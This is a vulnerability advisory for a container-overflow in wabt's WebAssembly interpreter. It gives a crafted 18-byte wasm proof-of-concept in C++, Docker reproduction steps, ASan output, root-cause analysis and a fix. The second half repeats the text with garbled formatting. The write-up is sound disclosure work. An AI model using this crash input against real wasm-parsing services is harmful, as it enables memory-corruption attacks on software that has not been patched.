Summary
When wabt's interpreter reads a crafted WebAssembly binary, the Function section
callback (OnFunctionCount) calls funcs_.reserve(N) to pre-allocate capacity
for N FuncDesc elements but does not resize the vector — so
funcs_.size() remains 0 while funcs_.capacity() is N.
The Code section callback (BeginFunctionBody) then writes directly into
funcs_[func_index] using the index from the binary. Because the write lands
within the allocated heap block but past the vector's logical end, ASan reports a
container-overflow (shadow byte 0xfc).
A malformed wasm input can trigger this with a Code section that either:
- declares more function bodies than the Function section declared functions, or
- simply triggers
BeginFunctionBody with any func_index when the vector size
has not yet been bumped to match.
The vulnerability is reachable from the public wabt::interp::ReadBinaryInterp
API with fully attacker-controlled input and requires no special privileges.
The 128-byte heap block holds 4 FuncDesc slots (reserve was called with
count = 4). The write at offset 96 = index 3, but funcs_.size() is 0, so
all four slots are in the "container overflow" poisoned region (0xfc).
Hex dump:
000000 00 61 73 6d 01 00 00 00 01 04 01 60 01 00 03 02 .asm.......`....
000010 01 00 08 01 00 0a 06 01 04 00 01 01 00 00 01 04 ................
000020 01 60 73 6d 01 00 00 00 01 04 01 60 00 00 03 02 .`sm.......`....
000030 01 00 08 01 00 0a 06 01 04 00 01 01 00 00 03 02 ................
000040 01 00 08 01 00 0a ......
Key structure visible in the leading bytes (the FuzzedDataProvider consumes
feature-flag bits from the tail of the buffer, leaving the \0asm header
intact at the front):
| Offset |
Bytes |
Meaning |
| 0x00 |
00 61 73 6d |
wasm magic \0asm |
| 0x04 |
01 00 00 00 |
wasm version 1 |
| 0x08 |
01 04 ... |
Type section (section id=1) |
| 0x0e |
03 02 01 00 |
Function section: declares 1 function |
| 0x12 |
08 01 00 |
Start section: function index 0 |
| 0x15 |
0a 06 01 ... |
Code section: function body count mismatched |
The crafted binary deliberately creates a mismatch between the count in the
Function section and the bodies in the Code section, triggering the
out-of-bounds write via BeginFunctionBody.
Standalone Reproduction Steps
Prerequisites
- Docker installed and running
gcr.io/oss-fuzz/wabt image available (pull or use locally cached copy)
Step 1 — Save the PoC source
Save the following file as /tmp/poc_wabt_container_overflow.cc:
// Standalone PoC for wabt container-overflow in BinaryReaderInterp::BeginFunctionBody
//
// Root cause:
// OnFunctionCount(N) -> module_.funcs.reserve(N) [size stays 0]
// OnFunction(i, bad) -> validator_.OnFunction() FAILS -> CHECK_RESULT early-returns
// push_back is never reached [size still 0]
// BeginFunctionBody(0)-> module_.funcs[0] written [container-overflow: size=0, capacity=N]
//
// The crafted wasm has no Type section, so the function referencing type index 0
// fails the validator. With stop_on_first_error=false the reader presses on into
// the Code section and writes to the uninitialized funcs slot.
#include <cstdint>
#include <cstdio>
#include <vector>
#include "wabt/binary-reader.h"
#include "wabt/error.h"
#include "wabt/feature.h"
#include "wabt/interp/binary-reader-interp.h"
#include "wabt/interp/interp.h"
// Minimal malformed wasm binary (18 bytes):
//
// 00 61 73 6d 01 00 00 00 wasm magic + version 1
// 03 02 01 00 Function section (id=3, size=2):
// count=1, type_index=0
// (invalid: no Type section -> validator rejects it,
// OnFunction early-returns without push_back)
// 0a 04 01 02 00 0b Code section (id=10, size=4):
// 1 body, body_size=2, 0 locals, `end` opcode
// BeginFunctionBody(0) -> module_.funcs[0] -> CRASH
static const uint8_t kPoC[] = {
// wasm header
0x00, 0x61, 0x73, 0x6d, // magic: \0asm
0x01, 0x00, 0x00, 0x00, // version: 1
// Function section (id=3): 1 function referencing type index 0
// No Type section exists, so type 0 is invalid -> validator rejects OnFunction
// -> push_back never executes -> module_.funcs.size() stays 0
0x03, 0x02, // section id=3, payload size=2
0x01, // function count = 1
0x00, // type index = 0 (undefined: no Type section)
// Code section (id=10): 1 body
// BeginFunctionBody(defined_index=0) accesses module_.funcs[0]
// capacity=1 (from reserve), size=0 -> container-overflow
0x0a, 0x04, // section id=10, payload size=4
0x01, // body count = 1
0x02, // body size = 2 bytes
0x00, // local declaration count = 0
0x0b, // end opcode
};
int main(void) {
wabt::Features features;
wabt::ReadBinaryOptions options(
features,
/*log_stream=*/nullptr,
/*read_debug_names=*/false,
/*stop_on_first_error=*/false,
/*fail_on_custom_section_error=*/false
);
wabt::Errors errors;
wabt::interp::ModuleDesc module_desc;
fprintf(stderr, "[poc] calling ReadBinaryInterp with %zu-byte crafted wasm\n",
sizeof(kPoC));
wabt::Result result = wabt::interp::ReadBinaryInterp(
"<poc>", kPoC, sizeof(kPoC), options, &errors, &module_desc);
// Should not be reached — ASan aborts in BeginFunctionBody
fprintf(stderr, "[poc] returned (result=%d) — crash did not fire\n",
static_cast<int>(result));
return 0;
}
Step 2 — Build inside the OSS-Fuzz Docker container
docker run --rm \
-v /tmp:/out \
gcr.io/oss-fuzz/wabt \
/bin/bash -c "
cd /src/wabt &&
mkdir -p build && cd build &&
cmake .. -DCMAKE_BUILD_TYPE=Release > /dev/null 2>&1 &&
cmake --build . --parallel > /dev/null 2>&1 &&
cd /src/wabt &&
\$CXX \$CXXFLAGS -fsanitize=address -std=c++17 \
-I. -Ibuild -Iinclude -Ibuild/include \
/out/poc_wabt_container_overflow.cc \
/usr/local/lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.fuzzer_no_main.a \
./build/libwabt.a \
-o /out/poc_wabt_container_overflow &&
echo 'Build OK'
"
Step 3 — Run
docker run --rm \
-v /tmp:/out \
gcr.io/oss-fuzz/wabt \
/out/poc_wabt_container_overflow
Expected Output
[poc] calling ReadBinaryInterp with 18-byte crafted wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x... bp 0x000000000002 ...)
==1==The signal is caused by a READ memory access.
#0 wabt::interp::(anonymous namespace)::BinaryReaderInterp::EndLocalDecls()
/src/wabt/src/interp/binary-reader-interp.cc:946:19
#1 wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long)
/src/wabt/src/binary-reader.cc:3053:7
#2 wabt::(anonymous namespace)::BinaryReader::ReadSections(...)
/src/wabt/src/binary-reader.cc:3208:26
#3 wabt::ReadBinary(...)
/src/wabt/src/binary-reader.cc:3304:17
#4 wabt::interp::ReadBinaryInterp(...)
/src/wabt/src/interp/binary-reader-interp.cc:1824:10
#5 main
/out/poc_wabt_container_overflow.cc:85:27
Register values:
rdi = 0xbebebebebebebebe <- ASan poison for uninitialized heap
rsi = 0xbebebebebebebebe
SUMMARY: AddressSanitizer: SEGV
/src/wabt/src/interp/binary-reader-interp.cc:946:19
in wabt::interp::(anonymous namespace)::BinaryReaderInterp::EndLocalDecls()
==1==ABORTING
The container exits with a non-zero code (SIGABRT via ASan).
Root Cause Analysis
In src/interp/binary-reader-interp.cc:
// ~line 621 — called when the Function section is parsed:
Result OnFunctionCount(Index count) override {
funcs_.reserve(count); // <-- reserves heap capacity, but size() stays 0
return Result::Ok;
}
// ~line 883 — called for each body entry in the Code section:
Result BeginFunctionBody(Index index, Offset size) override {
funcs_[index].xxx = ...; // <-- direct subscript; size() is still 0
return Result::Ok;
}
std::vector::reserve only commits heap capacity; the elements are not
constructed and size() is unchanged. A subsequent direct subscript access
(funcs_[index]) therefore writes into the reserved-but-uninitialized heap
region, which ASan poisons with shadow byte 0xfc (container overflow).
The minimal fix is to use funcs_.resize(count) in OnFunctionCount instead
of reserve, ensuring size() matches the expected count before
BeginFunctionBody indexes into the vector. An alternative is to use
emplace_back / push_back in BeginFunctionBody and bounds-check the
resulting index.
credit: Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)
Summary
When wabt's interpreter reads a crafted WebAssembly binary, the Function section
callback (
OnFunctionCount) callsfuncs_.reserve(N)to pre-allocate capacityfor
NFuncDescelements but does not resize the vector — sofuncs_.size()remains 0 whilefuncs_.capacity()is N.The Code section callback (
BeginFunctionBody) then writes directly intofuncs_[func_index]using the index from the binary. Because the write landswithin the allocated heap block but past the vector's logical end, ASan reports a
container-overflow (shadow byte
0xfc).A malformed wasm input can trigger this with a Code section that either:
BeginFunctionBodywith anyfunc_indexwhen the vector sizehas not yet been bumped to match.
The vulnerability is reachable from the public
wabt::interp::ReadBinaryInterpAPI with fully attacker-controlled input and requires no special privileges.
The 128-byte heap block holds 4
FuncDescslots (reserve was called withcount = 4). The write at offset 96 = index 3, but
funcs_.size()is 0, soall four slots are in the "container overflow" poisoned region (
0xfc).Hex dump:
Key structure visible in the leading bytes (the
FuzzedDataProviderconsumesfeature-flag bits from the tail of the buffer, leaving the
\0asmheaderintact at the front):
00 61 73 6d\0asm01 00 00 0001 04 ...03 02 01 0008 01 000a 06 01 ...The crafted binary deliberately creates a mismatch between the count in the
Function section and the bodies in the Code section, triggering the
out-of-bounds write via
BeginFunctionBody.Standalone Reproduction Steps
Prerequisites
gcr.io/oss-fuzz/wabtimage available (pull or use locally cached copy)Step 1 — Save the PoC source
Save the following file as
/tmp/poc_wabt_container_overflow.cc:Step 2 — Build inside the OSS-Fuzz Docker container
Step 3 — Run
Expected Output
The container exits with a non-zero code (SIGABRT via ASan).
Root Cause Analysis
In
src/interp/binary-reader-interp.cc:std::vector::reserveonly commits heap capacity; the elements are notconstructed and
size()is unchanged. A subsequent direct subscript access(
funcs_[index]) therefore writes into the reserved-but-uninitialized heapregion, which ASan poisons with shadow byte
0xfc(container overflow).The minimal fix is to use
funcs_.resize(count)inOnFunctionCountinsteadof
reserve, ensuringsize()matches the expected count beforeBeginFunctionBodyindexes into the vector. An alternative is to useemplace_back/push_backinBeginFunctionBodyand bounds-check theresulting index.
credit: Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)